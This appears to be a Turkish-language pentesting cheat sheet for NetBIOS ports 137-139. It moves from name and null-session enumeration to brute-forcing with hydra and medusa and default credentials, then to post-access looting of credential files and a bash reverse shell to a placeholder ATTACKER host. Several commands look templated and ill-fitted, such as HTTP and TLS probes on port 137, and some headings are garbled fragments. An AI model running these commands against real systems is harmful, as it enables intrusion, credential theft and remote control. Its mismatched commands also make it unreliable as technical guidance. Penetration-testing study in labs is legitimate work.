137,138,139 - Pentesting NetBios
NetBIOS enum
NetBIOS ad servisi host/domain/kullanıcı sızdırır; 139 SMB oturumuna köprü olur. Hedef lab IP’si üzerinde komutları 137 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
UDP/137 NBNS sorgula.
-
nbtstat benzeri tablo çek.
-
139 null session dene.
-
SMB enum’a geç.
nmap -Pn -sU -sV -p137,138 -pT:139 TARGETnbtscan TARGET/24nmblookup -A TARGETnmap -p137 --script nbstat TARGETNull session
Section titled “Null session”rpcclient -U '' -N TARGETsmbclient -L //TARGET -Nenum4linux-ng -A TARGETİsim & kullanıcı
Section titled “İsim & kullanıcı”nxc smb TARGET --userslookupsid.py -no-pass TARGET<20> domain controller, <00> workstationDerin enum
Section titled “Derin enum”,138,139 - NetBios için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p137,138,139 TARGETnmap -Pn -p137 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:137' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',137));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → ,138,139 - NetBiosKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 137 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 137nmap -p137 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit NetBIOSmsfconsole -q -x 'search NetBIOS; exit'nuclei -u https://TARGET:137 -t cves/ -silent -severity || truenuclei -u http://TARGET:137 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 137printf '' | timeout 3 nc -nv TARGET 137curl -vk --http1.0 http://TARGET:137/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”nbstat → names → null session → smb enum → creds